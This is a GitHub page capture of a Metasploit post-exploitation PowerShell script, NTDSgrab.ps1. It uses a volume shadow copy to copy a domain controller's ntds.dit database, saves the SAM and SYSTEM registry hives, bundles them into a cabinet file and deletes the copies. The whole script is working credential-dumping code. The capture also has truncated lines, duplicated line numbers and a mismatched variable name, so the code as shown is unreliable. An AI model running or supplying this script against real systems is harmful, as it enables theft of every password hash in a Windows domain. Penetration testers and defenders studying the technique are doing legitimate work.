



Sign in

rapid7 / metasploit-framework Public

Notifications

Fork 14k

Star 34.1k

Code

Issues 410

Pull requests 44

Discussions

Actions

Projects 1

Wiki

metasploit-framework / data / post / powershell / NTDSgrab.ps1



139 lines (114 loc) · 5.68 KB

Code

Blame

Raw



```
1  #Complete script created by Koen Riepe (koen.riepe@fox-it.com)
2  #New-CabinetFile originally by Iain Brighton: http://virtualengine.co.uk/2014/creating-cab-files-wi
3  function New-CabinetFile {
4      [CmdletBinding()]
5      Param(
6          [Parameter(HelpMessage="Target .CAB file name.", Position=0, Mandatory=$true, ValueFromPipe
7          [ValidateNotNullOrEmpty()]
8          [Alias("FilePath")]
9          [string] $Name,
10
11          [Parameter(HelpMessage="File(s) to add to the .CAB.", Position=1, Mandatory=$true, ValueFrom
12          [ValidateNotNullOrEmpty()]
13          [Alias("FullName")]
14          [string[]] $File,
15
16          [Parameter(HelpMessage="Default input/output path.", Position=2, ValueFromPipelineByProper
17          [AllowNull()]
18          [string[]] $DestinationPath,
19
20          [Parameter(HelpMessage="Do not overwrite any existing .cab file.")]
21          [Switch] $NoClobber
22      )
23
24      Begin {
25
26          ## If $DestinationPath is blank, use the current directory by default
```

```
27         if ($DestinationPath -eq $null) { $DestinationPath = (Get-Location).Path; }
28         Write-Verbose "New-CabinetFile using default path '$DestinationPath'.";
29         Write-Verbose "Creating target cabinet file '$(Join-Path $DestinationPath $Name)'. ";
30
31     ## Test the -NoClobber switch
32     if ($NoClobber) {
33         ## If file already exists then throw a terminating error
34         if (Test-Path -Path (Join-Path $DestinationPath $Name)) { throw "Output file '$(Join-Path $DestinationPath $Name)' already exists." }
35     }
36
37     ## Cab files require a directive file, see 'http://msdn.microsoft.com/en-us/library/bb417344.aspx'
38     $ddf = ";*** MakeCAB Directive file`r`n";
39     $ddf += ";`r`n";
40     $ddf += ".OPTION EXPLICIT`r`n";
41     $ddf += ".Set CabinetNameTemplate=$Name`r`n";
42     $ddf += ".Set DiskDirectory1=$DestinationPath`r`n";
43     $ddf += ".Set MaxDiskSize=0`r`n";
44     $ddf += ".Set Cabinet=on`r`n";
45     $ddf += ".Set Compress=on`r`n";
46     ## Redirect the auto-generated Setup.rpt and Setup.inf files to the temp directory
47     $ddf += ".Set RptFileName=$(Join-Path $ENV:TEMP "setup.rpt")`r`n";
48     $ddf += ".Set InfFileName=$(Join-Path $ENV:TEMP "setup.inf")`r`n";
49
50     ## If -Verbose, echo the directive file
51     if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
52         foreach ($ddfLine in $ddf -split [Environment]::NewLine) {
53             Write-Verbose $ddfLine;
54         }
55     }
56 }
57
58 Process {
59
60     ## Enumerate all the files add to the cabinet directive file
61     foreach ($fileToAdd in $File) {
62
63         ## Test whether the file is valid as given and is not a directory
64         if (Test-Path $fileToAdd -PathType Leaf) {
65             Write-Verbose ""$fileToAdd"";
66             $ddf += ""$fileToAdd""`r`n";
67         }
68         ## If not, try joining the $File with the (default) $DestinationPath
69         elseif (Test-Path (Join-Path $DestinationPath $fileToAdd) -PathType Leaf) {
70             Write-Verbose ""$(Join-Path $DestinationPath $fileToAdd)"";
71             $ddf += ""$(Join-Path $DestinationPath $fileToAdd)""`r`n";
72         }
73     }
74 }
```

```
73         else { Write-Warning "File '$fileToAdd' is an invalid file or container object and has
74     }
75 }
76
77 End {
78
79     $ddfFile = Join-Path $DestinationPath "$Name.ddf";
80     $ddf | Out-File $ddfFile -Encoding ascii | Out-Null;
81
82     Write-Verbose "Launching 'MakeCab /f ""$ddfFile"".";
83     $makeCab = Invoke-Expression "MakeCab /F ""$ddfFile""";
84
85     ## If Verbose, echo the MakeCab response/output
86     if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
87         ## Recreate the output as Verbose output
88         foreach ($line in $makeCab -split [environment]::NewLine) {
89             if ($line.Contains("ERROR:")) { throw $line; }
90             else { Write-Verbose $line; }
91         }
92     }
93
94     ## Delete the temporary .ddf file
95     Write-Verbose "Deleting the directive file '$ddfFile'.";
96     Remove-Item $ddfFile;
97
98     ## Return the newly created .CAB FileInfo object to the pipeline
99     Get-Item (Join-Path $DestinationPath $Name);
100 }
101 }
102
103 $key = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"
104 $ntdsloc = (Get-ItemProperty -Path $key -Name "DSA Database file")."DSA Database file"
105 $ntdspace = $ntdsloc.split(":")[1]
106 $ntdsdisk = $ntdsloc.split(":")[0]
107
108 (Get-WmiObject -list win32_shadowcopy).create($ntdsdisk + ":\","ClientAccessible")
109
110 $id_shadow = "None"
111 $volume_shadow = "None"
112
113 if (!(Get-WmiObject win32_shadowcopy).length){
114     Write-Host "Only one shadow clone"
115     $id_shadow = (Get-WmiObject win32_shadowcopy).ID
116     $volume_shadow = (Get-WmiObject win32_shadowcopy).DeviceObject
117 } Else {
118     $n_shadows = (Get-WmiObject win32_shadowcopy).length-1
```

```
118         $n_shadows = (Get-WmiObject win32_shadowcopy).Length
119         $id_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].ID
120         $volume_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].DeviceObject
121     }
122
123     $command = "cmd.exe /c copy "+ $volume_shadow + $ntdspath + " " + ".\ntds.dit"
124     iex $command
125
126     $command2 = "cmd.exe /c reg save HKLM\SYSTEM .\SYSTEM"
127     iex $command2
128
129     $command3 = "cmd.exe /c reg save HKLM\SAM .\SAM"
130     iex $command3
131
132     (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $v
133     if (Test-Path "All.cab"){
134         Remove-Item "All.cab"
135     }
136     New-CabinetFile -Name All.cab -File "SAM","SYSTEM","ntds.dit"
137     Remove-Item ntds.dit
138     Remove-Item SAM
139     Remove-Item SYSTEM
```